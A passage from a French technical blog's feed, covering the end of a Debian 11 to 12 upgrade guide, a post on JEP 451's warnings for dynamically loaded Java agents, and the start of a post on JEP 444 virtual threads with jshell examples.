&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/avertissement.png&quot; alt=&quot;avertissement&quot;&gt;&lt;/span&gt;J&amp;#8217;étais confronté à ce problème avec mon dernier portable. Ce dernier ne possède aucune carte réseau filaire, uniquement le Wifi de type Intel. Le microprogramme non-free devait être utilisé. Non, présent sur les CD officiels, Cela nécessite des opérations afin d&amp;#8217;installer le pilote pour avoir le réseau.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Pour cela, un vote à eu lieu pour la mise à jour du Contrat Social Debian afin que les micro-programmes non libre puisse être inclus dans le CD Officiel (&lt;a href=&quot;https://www.debian.org/vote/2022/vote_003&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Plus d&amp;#8217;informations sur la résolution&lt;/a&gt;)&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Passons aux opérations pour la mise à niveau.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;pré_requis&quot;&gt;Pré-requis&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph panneau&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/avertissement.png&quot; alt=&quot;avertissement&quot;&gt;&lt;/span&gt;Pensez à vérifier que vos sauvegardes sont faites.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau-astuce&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/astuce.png&quot; alt=&quot;astuce&quot;&gt;&lt;/span&gt;Bien que je n&amp;#8217;ai jamais eu de problème lors des montées de versions. Il est de bon usage de le faire et de le faire même régulièrement.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;&lt;strong&gt;Etape 1 :&lt;/strong&gt; Il est nécessaire d&amp;#8217;être à jour sur les dernières versions de Debian 11&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;admonitionblock note&quot;&gt;
&lt;table&gt;
&lt;tr&gt;
&lt;td class=&quot;icon&quot;&gt;
&lt;div class=&quot;title&quot;&gt;Note&lt;/div&gt;
&lt;/td&gt;
&lt;td class=&quot;content&quot;&gt;
Se connecter en tant que root
&lt;/td&gt;
&lt;/tr&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;apt update &amp;amp;&amp;amp; apt upgrade&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;&lt;strong&gt;Etape 2 :&lt;/strong&gt; Redémarrage du système s&amp;#8217;il y a eu des nouveaux packages.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;reboot&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;montée_de_version&quot;&gt;Montée de version&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;&lt;strong&gt;Etape 1 :&lt;/strong&gt; Mise à jour des fichiers de configuration de &lt;code&gt;apt&lt;/code&gt; pour indiquer &lt;code&gt;bookworm&lt;/code&gt; .&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;sed -i &apos;s/bullseye/bookworm/g&apos; /etc/apt/sources.list&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;&lt;strong&gt;Etape 2 :&lt;/strong&gt; Ajout la section &lt;code&gt;non-free-firmware&lt;/code&gt; sur chaque ligne&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Vous devrez avoir le fichier suivant :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;title&quot;&gt;/etc/apt/sources.list&lt;/div&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;deb http://deb.debian.org/debian/ bookworm main non-free-firmware contrib
deb-src http://deb.debian.org/debian/ bookworm main non-free-firmware contrib

deb http://security.debian.org/debian-security bookworm-security main non-free-firmware contrib
deb-src http://security.debian.org/debian-security bookworm-security main non-free-firmware contrib

deb http://deb.debian.org/debian/ bookworm-updates main contrib non-free-firmware
deb-src http://deb.debian.org/debian/ bookworm-updates main contrib non-free-firmware&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;&lt;strong&gt;Etape 3 :&lt;/strong&gt; Mettez à jour les références des packages&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;apt update&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;&lt;strong&gt;Etape 4 :&lt;/strong&gt; Faites la mise à niveau à proprement en parler.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;apt full-upgrade&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/avertissement.png&quot; alt=&quot;avertissement&quot;&gt;&lt;/span&gt;Vous pouvez avoir des demandes pour relancer les services.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;&lt;strong&gt;Etape 5 :&lt;/strong&gt; Redémarrage du système pour bénéficier du dernier noyau.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;reboot&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;vérification&quot;&gt;Vérification&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;&lt;strong&gt;Etape 1 :&lt;/strong&gt; Vérification de la version installé&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;cat /etc/os-release&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;title&quot;&gt;sortie standard&lt;/div&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;PRETTY_NAME=&quot;Debian GNU/Linux 12 (bookworm)&quot;
NAME=&quot;Debian GNU/Linux&quot;
VERSION_ID=&quot;12&quot;
VERSION=&quot;12 (bookworm)&quot;
VERSION_CODENAME=bookworm
ID=debian
HOME_URL=&quot;https://www.debian.org/&quot;
SUPPORT_URL=&quot;https://www.debian.org/support&quot;
BUG_REPORT_URL=&quot;https://bugs.debian.org/&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;&lt;strong&gt;Etape 2 :&lt;/strong&gt; Vérification uniquement de la version installé&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;-----cat /etc/debian_versionn-----
[source,bash]
.sortie standard
----
12.4
----&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;problèmes&quot;&gt;Problèmes&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;problèmes_avec_les_pilotes_nvidia&quot;&gt;Problèmes avec les pilotes Nvidia&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Je n&amp;#8217;étais pas concerné mais j&amp;#8217;ai pu lire que des personnes avaient des problèmes avec les pilotes Nvidia et qu&amp;#8217;il était préférable de les supprimer&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;&lt;strong&gt;Option 1 :&lt;/strong&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;-----apt autoremove nvidia* --purge-----&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;&lt;strong&gt;Option 2 :&lt;/strong&gt;*&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;-----/usr/bin/nvidia-uninstall
-----&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;références&quot;&gt;Références&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://www.debian.org/News/2023/20230610&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Page d&amp;#8217;annonce de Debian 12 (Bookworm)&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://www.debian.org/vote/2022/vote_003&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Plus d&amp;#8217;informations sur la résolution sur les microprogrammes non libres de 2022&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
	</description>
    </item>
    <item>
      <title>JEP 451, Prepare to Disallow the Dynamic Loading of Agents</title>
      <link>https://www.lilian-benoit.fr/2023/12/JEP-451-Prepare-to-Disallow-the-Dynamic-Loading-of-Agents.html</link>
      <pubDate>dim., 17 déc. 2023 00:00:00 +0100</pubDate>
      <guid isPermaLink="false">2023/12/JEP-451-Prepare-to-Disallow-the-Dynamic-Loading-of-Agents.html</guid>
      	<description>
	&lt;div id=&quot;preamble&quot;&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div id=&quot;toc&quot; class=&quot;toc&quot;&gt;
&lt;div id=&quot;toctitle&quot; class=&quot;title&quot;&gt;Table of Contents&lt;/div&gt;
&lt;ul class=&quot;sectlevel1&quot;&gt;
&lt;li&gt;&lt;a href=&quot;#contexte&quot;&gt;Contexte&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#objectif&quot;&gt;Objectif&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#histoire&quot;&gt;Histoire&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#références&quot;&gt;Références&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;contexte&quot;&gt;Contexte&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Les agents Java existent depuis le JDK 5. L&amp;#8217;idée des agents est de faire de l&amp;#8217;instrumentation de code (via l&amp;#8217;API &lt;code&gt;java.lang.instrument&lt;/code&gt;). L&amp;#8217;usage courant est celui des profileurs. Via l&amp;#8217;agent, ils vont pouvoir calculer le temps passé dans les méthodes par exemple.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;La possibilité d&amp;#8217;attacher un agent vient avec le JDK 6 et l&amp;#8217;API Attach (API non officielle mais supportée).
Cela permet l&amp;#8217;utilisation d&amp;#8217;outil comme &lt;code&gt;jconsole&lt;/code&gt; ou &lt;code&gt;jcmd&lt;/code&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;objectif&quot;&gt;Objectif&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Ces agents ont des supers pouvoirs, vis à vis de la JVM, par l&amp;#8217;instrumentation, ou la programmation par aspect. Selon le cas, cela peut altérer le comportement normale de l&amp;#8217;application.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;C&amp;#8217;est pourquoi, afin de garantir l&amp;#8217;intégrité de l&amp;#8217;application, le chargement de l&amp;#8217;agent sera désactivé par défaut dans des prochaines versions.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;L&amp;#8217;objectif n&amp;#8217;est pas de supprimer cette fonctionnalité mais qu&amp;#8217;elle soit controlée :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;soit via le chargement au démarrage de la JVM&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;soit via le chargement dynamique mais autorisé de manière explicite.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Pour l&amp;#8217;heure, l&amp;#8217;objectif est de préparer ce changement par la sortie d&amp;#8217;un avertissement quand le chargement dynamique a lieu mais qu&amp;#8217;elle n&amp;#8217;a pas été autorisée. Donc, pas de blocage pour l&amp;#8217;instant.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Si un agent est chargé dynamiquement, l&amp;#8217;avertissement suivant sera affiché.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;WARNING: A {Java,JVM TI} agent has been loaded dynamically (file:/u/bob/agent.jar)
WARNING: If a serviceability tool is in use, please run with -XX:+EnableDynamicAgentLoading to hide this warning
WARNING: If a serviceability tool is not in use, please run with -Djdk.instrument.traceUsage for more information
WARNING: Dynamic loading of agents will be disallowed by default in a future release&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Si l&amp;#8217;option &lt;code&gt;-XX:+EnableDynamicAgentLoading&lt;/code&gt; est utilisé, il n&amp;#8217;y aura pas d&amp;#8217;avertissement.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Donc si vous utilisez le chargement dynanique, pour bien préparer le prochain changement à ce niveau, pensez à rajouter cette option. Vous n&amp;#8217;aurez plus de message et lorsque le chargement dynamique sera désactivé par défaut, vous n&amp;#8217;aurez rien à faire.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;histoire&quot;&gt;Histoire&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Cette proposition existe depuis la construction du JDK 9 (en 2017) lors de l&amp;#8217;ajout des modules.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Seulement, par consensus, il a été décidé de reporter cette proposition à plus tard. Le but est que les mainteneurs des outils puissent s&amp;#8217;adapter vis à vis de ce changement.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Cela avance et l&amp;#8217;ajout de l&amp;#8217;avertissement en cas d&amp;#8217;usage permet de faciliter la transition.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;références&quot;&gt;Références&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://openjdk.java.net/jeps/451&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;JEP 451: Prepare to Disallow the Dynamic Loading of Agents&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
	</description>
    </item>
    <item>
      <title>JEP 444, Virtual Threads</title>
      <link>https://www.lilian-benoit.fr/2023/12/JEP-444-Virtual-Threads.html</link>
      <pubDate>dim., 10 déc. 2023 00:00:00 +0100</pubDate>
      <guid isPermaLink="false">2023/12/JEP-444-Virtual-Threads.html</guid>
      	<description>
	&lt;div id=&quot;preamble&quot;&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div id=&quot;toc&quot; class=&quot;toc&quot;&gt;
&lt;div id=&quot;toctitle&quot; class=&quot;title&quot;&gt;Table of Contents&lt;/div&gt;
&lt;ul class=&quot;sectlevel1&quot;&gt;
&lt;li&gt;&lt;a href=&quot;#contexte&quot;&gt;Contexte&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#objectif&quot;&gt;Objectif&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#utilisation&quot;&gt;Utilisation&lt;/a&gt;
&lt;ul class=&quot;sectlevel2&quot;&gt;
&lt;li&gt;&lt;a href=&quot;#remarques&quot;&gt;Remarques&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#compléments_sur_lapi&quot;&gt;Compléments sur l&amp;#8217;API&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#différence_sur_lapi&quot;&gt;Différence sur l&amp;#8217;API&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#nouveautés&quot;&gt;Nouveautés&lt;/a&gt;
&lt;ul class=&quot;sectlevel2&quot;&gt;
&lt;li&gt;&lt;a href=&quot;#compatible_avec_les_variables_thread_local&quot;&gt;Compatible avec les variables Thread-local&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#concurrence&quot;&gt;Concurrence&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#références&quot;&gt;Références&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;contexte&quot;&gt;Contexte&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Les threads virtuels ont été introduits dans le JDK 19 en mode aperçu, améliorés dans le JDK 20. Ils sont maintenant intégrés en standard. Cela correspond à une proposition incluant les travaux du projet &lt;a href=&quot;https://openjdk.org/projects/loom/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Loom&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Le thread au niveau de la JVM sont basés sur les threads systèmes. C&amp;#8217;est à dire que c&amp;#8217;est le système qui s&amp;#8217;occupe de planifier leur execution.
Cela implique aussi que le nombre de thread est limité car cela nécessite des ressources systèmes.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;objectif&quot;&gt;Objectif&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;L&amp;#8217;objectif est d&amp;#8217;avoir un thread léger qui permettent d&amp;#8217;avoir des milliers et des millions de thread afin de réaliser des traitements concurrents.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Les threads classiques s&amp;#8217;appellent maintenant les threads plateformes (&quot;a plateform thread&quot;) afin de les différencier des threads virtuels.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Ce qui est intéressant, c&amp;#8217;est que les threads virtuels héritent de la même classe &lt;code&gt;java.lang.Thread&lt;/code&gt;.
En revanche, il n&amp;#8217;y a pas de constructeurs. En effet, la mode est de passer de plus en plus par des fabriques de méthodes. Pour cela, nous avons la méthode statique : &lt;code&gt;Thread.startVirtualThread()&lt;/code&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Le thread est démarré avec une instance de l&amp;#8217;interface &lt;code&gt;java.lang.Runnable&lt;/code&gt;.
Ainsi, nous pouvons écrire la classe suivante :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;class HelloRunnable implements Runnable {
    public void run() {
        System.out.println(Thread.currentThread() + &quot; dit Coucou&quot;);
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;utilisation&quot;&gt;Utilisation&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Nous pouvons tester les threads virtuels avec la commande &lt;code&gt;jshell&lt;/code&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;bin/jshell&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Nous allons commcer par déclarer la classe &lt;code&gt;HelloRunnable&lt;/code&gt; cité ci-dessus.
Ensuite, nous allons pouvoir créer notre instance.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;var inst = new HelloRunnable();&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Il nous reste à démarrer le thread virtuel.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock java&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code&gt;Thread.startVirtualThread(inst);&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;A noter, que nous pouvons utiliser la méthode &lt;code&gt;Thread.ofVirtual()&lt;/code&gt; qui utilise le pattern &lt;strong&gt;Builder&lt;/strong&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock java&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code&gt;Thread.ofVirtual().start(inst);&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Cette méthode offre deux avantages :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Nous avons une méthode similaire pour les threads plateformes&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock java&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code&gt;Thread.ofPlatform().start(inst);&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Nous pouvons créer une instance sans démarrer le thread (ou en tout cas sans le démarrer tout de suite.)&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock java&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code&gt;Thread courant = Thread.ofVirtual.unstarted(inst);
courant.start();&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Pour rappel, Java 8 est passé par là avec les lambas. Donc nous pouvons écrire tout simplement :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock java&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code&gt;Thread.ofVirtual().start(() -&amp;gt; {
    System.out.println(Thread.currentThread() + &quot; dit Coucou&quot;);
});&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;remarques&quot;&gt;Remarques&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;En exécutant le code ci-dessus, nous obtenons la sortie suivante&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;VirtualThread[#25]/runnable@ForkJoinPool-1-worker-1 dit Coucou
$1 ==&amp;gt; VirtualThread[#25]/runnable&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Le #25 est une sorte de compteur de thread virtuel. Si nous exécutons de nouveau la même commande, nous obtiendrons la sortie suivante&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;VirtualThread[#26]/runnable@ForkJoinPool-1-worker-1 dit Coucou
$1 ==&amp;gt; VirtualThread[#26]/runnable&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;C&amp;#8217;est normal car nous lançons un nouveau thread virtuel. Ce qui veut dire que la première fois, il y a eu 24 thread virtuels exécutés avant notre premier appel.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau-astuce&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/astuce.png&quot; alt=&quot;astuce&quot;&gt;&lt;/span&gt;Qui les utilisent ? La JVM elle-même.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
